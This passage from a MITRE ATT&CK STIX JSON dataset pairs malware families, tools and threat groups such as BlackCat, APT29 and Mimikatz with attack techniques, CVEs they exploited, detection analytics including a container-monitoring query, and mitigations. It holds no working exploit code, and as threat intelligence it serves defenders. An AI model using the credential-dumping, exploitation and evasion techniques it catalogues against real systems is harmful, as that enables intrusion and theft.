BlackCat Jun 2022","description":"Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.","url":"https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T21:11:01.444Z","description":"[BlackCat](https://attack.mitre.org/software/S1068) can change the desktop wallpaper on compromised hosts.(Citation: Microsoft BlackCat Jun 2022)(Citation: Sophos BlackCat Jul 2022)","relationship_type":"uses","source_ref":"malware--50c44c34-3abb-48ae-9433-a2337de5b0bc","target_ref":"attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--becf0a5e-4636-4d2f-bd4a-fd60b15ee74a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Alintanahin 2014","description":"Alintanahin, K. (2014, March 13). Kunming Attack Leads to Gh0st RAT Variant. Retrieved November 12, 2014.","url":"http://blog.trendmicro.com/trendlabs-security-intelligence/kunming-attack-leads-to-gh0st-rat-variant/"},{"source_name":"Gh0stRAT ATT March 2019","url":"https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant","description":"Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."}],"modified":"2020-07-15T19:28:00.779Z","description":"[gh0st RAT](https://attack.mitre.org/software/S0032) has a keylogger.(Citation: Alintanahin 2014)(Citation: Gh0stRAT ATT March 2019)","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bed01612-b213-44dc-aabc-19ea87ef28b8","created":"2022-06-07T17:15:22.106Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."},{"source_name":"Zscaler Lyceum DnsSystem June 2022","url":"https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor","description":"Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: ClearSky Siamesekitten August 2021)(Citation: Zscaler Lyceum DnsSystem June 2022)","modified":"2022-06-24T14:48:41.138Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"tool--294e2560-bd48-44b2-9da2-833b5588ad11","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bed23143-48a0-4883-ae33-416d60c27b5d","type":"relationship","created":"2021-12-07T14:38:12.907Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-07T14:38:12.907Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has used scheduled tasks to automatically log out of created accounts every 8 hours as well as to execute malicious files.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bed5ccbe-02dd-4736-ac42-ce0cce7f6dad","created":"2024-09-16T08:51:20.078Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:51:20.078Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) reads the infected system's current time and writes it to a log file during execution.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--beda360a-6477-48b9-b7d1-4643d02bc3c9","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/","description":"Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.","source_name":"Unit 42 MuddyWater Nov 2017"},{"description":"Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.","url":"https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group","source_name":"Symantec MuddyWater Dec 2018"},{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-03-19T13:07:57.549Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has performed credential dumping with [Mimikatz](https://attack.mitre.org/software/S0002) and procdump64.exe.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: Trend Micro Muddy Water March 2021)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bedac37c-22e0-4220-8552-48da4aed5f44","type":"relationship","created":"2021-05-04T16:03:11.651Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2021-05-04T16:06:11.069Z","description":"[LiteDuke](https://attack.mitre.org/software/S0513) has the ability to check for the presence of Kaspersky security software.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--95e2cbae-d82c-4f7b-b63c-16462015d35d","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bedf5d77-af37-4a10-b4d7-3555a9ea2938","type":"relationship","created":"2019-06-07T15:11:47.385Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro IXESHE 2012","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf","description":"Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}],"modified":"2019-06-10T19:29:30.744Z","description":"[Ixeshe](https://attack.mitre.org/software/S0015) can list running services.(Citation: Trend Micro IXESHE 2012)","relationship_type":"uses","source_ref":"malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bee5895c-6671-4563-831b-38cb510e29fe","type":"relationship","created":"2022-03-24T19:39:24.692Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T19:39:24.692Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) has several modules, such as `ls.py`, `pwd.py`, and `recentFiles.py`, to enumerate directories and files.(Citation: GitHub SILENTTRINITY Modules July 2019) ","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bee65646-c101-4d06-b0eb-5a2857746b6e","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).","source_ref":"x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b","target_ref":"attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bee75401-9e24-4c5d-9203-0b3cdca01cbf","created":"2022-10-17T19:36:31.557Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T19:37:09.006Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) adopted Cloudflare as a proxy for compromised servers.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--beeabdd2-deb3-43fc-b7d4-884f078271a1","type":"relationship","created":"2021-01-06T15:56:49.648Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."},{"source_name":"Microsoft Analyzing Solorigate Dec 2020","url":"https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/","description":"MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021."}],"modified":"2021-01-06T15:56:49.648Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) had a command to delete files.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Analyzing Solorigate Dec 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--beeaf89d-cbd4-49fd-a18a-a430e3ad8c36","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:02:32.240Z","description":"Monitor for newly constructed containers that may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.\n\nAnalytic 1 - Look for new container creation events with unusual parameters.\n\nindex=container_logs sourcetype=\"docker_events\" OR sourcetype=\"kubernetes_events\"\n| eval event_action=coalesce(action, status)\n| where (event_action=\"create\" OR event_action=\"start\")\n| search event_type=\"container\"\n| search (parameters=\"*--privileged*\" OR parameters=\"*--cap-add=*\" OR parameters=\"*--volume=*\" OR parameters=\"*--network=host*\" OR parameters=\"*--device*\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--beed216e-8c4c-4b0d-86b0-85df120cacf7","type":"relationship","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.876Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--beee667c-c63d-48c9-86c1-54a50081199d","created":"2023-12-21T21:18:28.732Z","revoked":false,"external_references":[{"source_name":"Sygnia Emperor Dragonfly October 2022","description":"Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.","url":"https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-21T21:18:28.732Z","description":"[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has used weaponized DLLs to load and decrypt payloads.(Citation: Sygnia Emperor Dragonfly October 2022)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bef3018a-1a38-4d1f-83ae-094f6c18f2a4","type":"relationship","created":"2019-06-13T16:53:10.321Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-27T19:56:54.579Z","description":"\nClose out all browser sessions when finished using them to prevent any potentially malicious extensions from continuing to run.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bef96df2-cc94-414d-8144-4c4875c59751","type":"relationship","created":"2021-11-19T15:25:07.823Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-19T15:25:07.823Z","description":"[Clambling](https://attack.mitre.org/software/S0660) can set and delete Registry keys.(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--befbbf7a-6480-4825-b7f6-1561dc6d4189","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2020-03-18T19:03:38.008Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can use an add on feature when creating payloads that allows you to create custom Python scripts (“scriptlets”) to perform tasks offline (without requiring a session) such as sandbox detection, adding persistence, etc.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf01b245-8a42-4fd3-9b77-ec411336b62d","type":"relationship","created":"2019-01-29T19:18:28.814Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET","source_name":"TrendMicro DarkComet Sept 2014"},{"description":"Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.","url":"https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/","source_name":"Malwarebytes DarkComet March 2018"}],"modified":"2020-03-28T00:53:12.574Z","description":"[DarkComet](https://attack.mitre.org/software/S0334) can disable Security Center functions like anti-virus.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)","relationship_type":"uses","source_ref":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf080191-d58e-4834-8b4f-7315df4d76bf","type":"relationship","created":"2020-03-17T17:37:09.197Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub Mimikatz kerberos Module","url":"https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos","description":"Deply, B., Le Toux, V.. (2016, June 5). module ~ kerberos. Retrieved March 17, 2020."}],"modified":"2020-03-19T23:37:02.700Z","description":"[Mimikatz](https://attack.mitre.org/software/S0002)'s kerberos module can create silver tickets.(Citation: GitHub Mimikatz kerberos Module)","relationship_type":"uses","source_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","target_ref":"attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bf0a21c1-6549-4137-b05a-ae66b2764209","created":"2024-05-22T22:50:14.264Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:50:14.264Z","description":"[MultiLayer Wiper](https://attack.mitre.org/software/S1135) wipes the boot sector of infected systems to inhibit system recovery.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"malware--663d7dee-5a47-459e-a5ef-e850a94a8ee5","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf0c323f-545c-4bd1-959a-5b1a28d4d06d","type":"relationship","created":"2021-10-15T21:00:52.184Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}],"modified":"2021-10-15T21:00:52.184Z","description":"[BLUELIGHT](https://attack.mitre.org/software/S0657) can use HTTP/S for C2 using the Microsoft Graph API.(Citation: Volexity InkySquid BLUELIGHT August 2021) ","relationship_type":"uses","source_ref":"malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf0c68c0-c1cd-41d2-942f-0bb3e303ac08","type":"relationship","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.865Z","description":"Monitor processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib.","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf0fd2a9-0852-4a4e-a806-281c0a7d63e3","type":"relationship","created":"2020-06-18T17:27:09.295Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}],"modified":"2020-06-18T17:27:09.295Z","description":"[BackConfig](https://attack.mitre.org/software/S0475) has the ability to set folders or files to be hidden from the Windows Explorer default view.(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"malware--c13d9621-aca7-436b-ab3d-3a95badb3d00","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bf0ff6f3-51a5-4718-af3f-8f75b1eb507c","created":"2020-09-29T18:38:16.995Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCSC APT29 July 2020","description":"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020.","url":"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf"},{"source_name":"Cybersecurity Advisory SVR TTP May 2021","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-27T18:36:24.247Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has exploited CVE-2019-19781 for Citrix, CVE-2019-11510 for Pulse Secure VPNs, CVE-2018-13379 for FortiGate VPNs, and CVE-2019-9670 in Zimbra software to gain access.(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: NCSC APT29 July 2020)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bf12ba2e-9079-44f9-a116-d53b21715eeb","created":"2022-03-30T14:26:51.836Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Suspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data to increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","modified":"2022-04-19T23:57:38.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf160f02-ab07-4f2d-8625-5818833bb77f","type":"relationship","created":"2020-03-17T23:33:15.608Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2020-03-17T23:33:15.608Z","description":"[BRONZE 